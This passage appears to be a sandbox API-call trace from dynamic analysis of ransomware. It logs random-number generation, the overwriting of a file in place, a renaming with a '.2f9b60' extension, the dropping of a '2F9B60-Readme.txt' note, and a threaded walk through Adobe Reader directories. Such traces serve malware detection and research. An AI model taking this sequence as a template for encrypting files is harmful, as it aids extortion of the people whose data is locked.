Seed=0x3498f5c0) returned 0x63c903ee [0151.732] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0xe87afc9 [0151.732] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x6b75ce4c [0151.732] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x79737e84 [0151.732] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x1f30daf5 [0151.732] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x40f4703e [0151.732] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x63ba7e84 [0151.732] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x105fbf2d [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x3206dd1a [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x74faf809 [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x4e909a85 [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x5c6293a1 [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x50ebd6dc [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x63602bd6 [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x3e19cb1d [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x269f4af3 [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x3495e36e [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x406a26d7 [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x3ea88b0f [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x79d5225e [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x530849ad [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x672f867b [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x181f6107 [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0xf6d772c [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x46497ab4 [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x5a4c7bd2 [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x33d761aa [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0xa3cd2ed [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x7e0e60e4 [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x5de43261 [0151.733] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x5301101b [0151.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffed0 [0151.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8697c0 [0151.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fff00 [0151.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8697c0) returned 1 [0151.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffea0) returned 1 [0151.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffdb0) returned 1 [0151.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058970 [0151.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8697c0 [0151.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffdb0 [0151.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffdb0) returned 1 [0151.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42548970 [0151.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4254c580 [0151.744] ReadFile (in: hFile=0x2574, lpBuffer=0x42548970, nNumberOfBytesToRead=0x49c, lpNumberOfBytesRead=0x3498f5c0, lpOverlapped=0x0 | out: lpBuffer=0x42548970*, lpNumberOfBytesRead=0x3498f5c0*=0x49c, lpOverlapped=0x0) returned 1 [0151.744] SetFilePointerEx (in: hFile=0x2574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.744] WriteFile (hFile=0x2574, lpBuffer=0x4254c580, nNumberOfBytesToWrite=0x49c, lpNumberOfBytesWritten=0x3498f5c4, lpOverlapped=0x0) [0186.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecac40 [0186.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecac70 [0186.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecac70) returned 1 [0186.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4254c580) returned 1 [0186.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42548970) returned 1 [0186.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8697c0) returned 1 [0186.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058970) returned 1 [0186.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cecac70 [0186.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058970 [0186.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8697c0 [0186.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecaca0 [0186.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecaca0) returned 1 [0186.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cecaca0 [0186.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecacd0 [0186.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecad00 [0186.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecad00) returned 1 [0186.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8697c0) returned 1 [0186.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058970) returned 1 [0186.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x43103820 [0186.757] SetFilePointerEx (in: hFile=0x2574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.758] WriteFile (in: hFile=0x2574, lpBuffer=0x43103820*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3498f6e0, lpOverlapped=0x0 | out: lpBuffer=0x43103820*, lpNumberOfBytesWritten=0x3498f6e0*=0x102, lpOverlapped=0x0) returned 1 [0200.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5be80 [0200.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0200.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500500 [0200.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500500) returned 1 [0200.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d2a0 [0200.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500500 [0200.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205004d0 [0200.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205004d0) returned 1 [0200.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0200.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5be80) returned 1 [0200.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x205004d0 [0200.948] sprintf (in: _Dest=0x205004d0, _Format="%c%c" | out: _Dest="69") returned 2 [0200.948] sprintf (in: _Dest=0x205004d2, _Format="%c%c" | out: _Dest="1b") returned 2 [0200.948] sprintf (in: _Dest=0x205004d4, _Format="%c%c" | out: _Dest="13") returned 2 [0200.948] sprintf (in: _Dest=0x205004d6, _Format="%c%c" | out: _Dest="f2") returned 2 [0200.948] sprintf (in: _Dest=0x205004d8, _Format="%c%c" | out: _Dest="ff") returned 2 [0200.948] sprintf (in: _Dest=0x205004da, _Format="%c%c" | out: _Dest="57") returned 2 [0200.948] sprintf (in: _Dest=0x205004dc, _Format="%c%c" | out: _Dest="79") returned 2 [0200.948] sprintf (in: _Dest=0x205004de, _Format="%c%c" | out: _Dest="1b") returned 2 [0200.948] sprintf (in: _Dest=0x205004e0, _Format="%c%c" | out: _Dest="56") returned 2 [0200.948] sprintf (in: _Dest=0x205004e2, _Format="%c%c" | out: _Dest="3a") returned 2 [0200.948] sprintf (in: _Dest=0x205004e4, _Format="%c%c" | out: _Dest="db") returned 2 [0200.948] sprintf (in: _Dest=0x205004e6, _Format="%c%c" | out: _Dest="ca") returned 2 [0200.948] sprintf (in: _Dest=0x205004e8, _Format="%c%c" | out: _Dest="14") returned 2 [0200.949] sprintf (in: _Dest=0x205004ea, _Format="%c%c" | out: _Dest="7c") returned 2 [0200.949] sprintf (in: _Dest=0x205004ec, _Format="%c%c" | out: _Dest="1a") returned 2 [0200.949] sprintf (in: _Dest=0x205004ee, _Format="%c%c" | out: _Dest="36") returned 2 [0200.949] RtlInitAnsiString (in: DestinationString=0x3498f758, SourceString="691b13f2ff57791b563adbca147c1a36" | out: DestinationString="691b13f2ff57791b563adbca147c1a36") [0200.949] RtlAnsiStringToUnicodeString (in: DestinationString=0x3498f728, SourceString="691b13f2ff57791b563adbca147c1a36", AllocateDestinationString=1 | out: DestinationString="691b13f2ff57791b563adbca147c1a36") returned 0x0 [0200.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce5bd90 [0200.949] wcscat (in: _Dest=0x43189300, _Source="691b13f2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\691b13f2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\691b13f2" [0200.950] wcscat (in: _Dest=0x43189300, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\691b13f2.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\691b13f2.2f9b60" [0200.950] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\691b13f2.2f9b60", NtPathName=0x3498f700, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\691b13f2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x4314a8a0 [0205.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314a8a0) returned 1 [0205.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43201b10) returned 1 [0205.764] NtQueryInformationFile (in: FileHandle=0x2574, IoStatusBlock=0x3498f768, FileInformation=0x3498f778, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3498f768, FileInformation=0x3498f778) returned 0x0 [0205.764] NtSetInformationFile (FileHandle=0x2574, IoStatusBlock=0x3498f768, FileInformation=0x3498f778, Length=0x28, FileInformationClass=0x4) returned 0x0 [0208.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43189300) returned 1 [0208.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bd90) returned 1 [0208.580] FlushFileBuffers (hFile=0x2574) returned 1 [0208.584] CloseHandle (hObject=0x2574) returned 1 [0210.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd65760 [0210.552] wcscpy (in: _Dest=0x1cd65760, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\" [0210.553] wcscat (in: _Dest=0x1cd65760, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\2F9B60-Readme.txt" [0210.553] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\2f9b60-readme.txt")) returned 0xffffffff [0210.553] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b60 [0215.277] WriteFile (in: hFile=0x1b60, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3498f620, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3498f620*=0xba9, lpOverlapped=0x0) returned 1 [0222.406] CloseHandle (hObject=0x1b60) returned 1 [0224.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65760) returned 1 [0224.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b670) returned 1 [0224.620] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd9bb50 | out: lpFindFileData=0x1cd9bb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0224.620] wcscmp (_String1="license.html", _String2=".") returned 1 [0224.620] wcscmp (_String1="license.html", _String2="..") returned 1 [0224.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4318c5c0 [0224.621] wcscpy (in: _Dest=0x4318c5c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT" [0224.621] wcscat (in: _Dest=0x4318c5c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\" [0224.621] wcscat (in: _Dest=0x4318c5c0, _Source="license.html" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html" [0224.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4318c5c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3328 [0224.672] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd9bb50 | out: lpFindFileData=0x1cd9bb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0224.672] FindClose (in: hFindFile=0x1cd9c4f0 | out: hFindFile=0x1cd9c4f0) returned 1 [0224.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9bb50) returned 1 [0224.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0224.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060b30) returned 1 [0224.676] FindNextFileW (in: hFindFile=0x1ced5f20, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHS", cAlternateFileName="")) returned 1 [0224.676] wcscmp (_String1="CHS", _String2=".") returned 1 [0224.676] wcscmp (_String1="CHS", _String2="..") returned 1 [0224.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x42060b30 [0224.677] wcscpy (in: _Dest=0x42060b30, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" [0224.677] wcscat (in: _Dest=0x42060b30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\" [0224.677] wcscat (in: _Dest=0x42060b30, _Source="CHS" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS" [0224.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x42060b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2568 [0224.723] FindNextFileW (in: hFindFile=0x1ced5f20, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHT", cAlternateFileName="")) returned 1 [0224.723] wcscmp (_String1="CHT", _String2=".") returned 1 [0224.723] wcscmp (_String1="CHT", _String2="..") returned 1 [0224.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x42061a30 [0224.724] wcscpy (in: _Dest=0x42061a30, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" [0224.724] wcscat (in: _Dest=0x42061a30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\" [0224.724] wcscat (in: _Dest=0x42061a30, _Source="CHT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT" [0224.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x42061a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b78 [0224.735] FindNextFileW (in: hFindFile=0x1ced5f20, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CZE", cAlternateFileName="")) returned 1 [0224.735] wcscmp (_String1="CZE", _String2=".") returned 1 [0224.746] wcscmp (_String1="CZE", _String2="..") returned 1 [0224.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x42060cb0 [0224.747] wcscpy (in: _Dest=0x42060cb0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" [0224.747] wcscat (in: _Dest=0x42060cb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\" [0224.747] wcscat (in: _Dest=0x42060cb0, _Source="CZE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE" [0224.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x42060cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x251c [0224.757] FindNextFileW (in: hFindFile=0x1ced5f20, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DAN", cAlternateFileName="")) returned 1 [0224.757] wcscmp (_String1="DAN", _String2=".") returned 1 [0224.757] wcscmp (_String1="DAN", _String2="..") returned 1 [0224.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x42061f30 [0224.758] wcscpy (in: _Dest=0x42061f30, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" [0224.758] wcscat (in: _Dest=0x42061f30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\" [0224.758] wcscat (in: _Dest=0x42061f30, _Source="DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN" [0224.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x42061f30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bfc [0224.766] FindNextFileW (in: hFindFile=0x1ced5f20, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEU", cAlternateFileName="")) returned 1 [0224.766] wcscmp (_String1="DEU", _String2=".") returned 1 [0224.766] wcscmp (_String1="DEU", _String2="..") returned 1 [0224.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85e590 [0224.767] wcscpy (in: _Dest=0x1b85e590, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" [0224.767] wcscat (in: _Dest=0x1b85e590, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\" [0224.767] wcscat (in: _Dest=0x1b85e590, _Source="DEU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU" [0224.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85e590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8 [0225.099] FindNextFileW (in: hFindFile=0x1ced5f20, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0225.099] wcscmp (_String1="ENU", _String2=".") returned 1 [0225.099] wcscmp (_String1="ENU", _String2="..") returned 1 [0225.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85ed10 [0225.100] wcscpy (in: _Dest=0x1b85ed10, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" [0225.100] wcscat (in: _Dest=0x1b85ed10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\" [0225.100] wcscat (in: _Dest=0x1b85ed10, _Source="ENU" | out: _Dest="C:\\Program Files 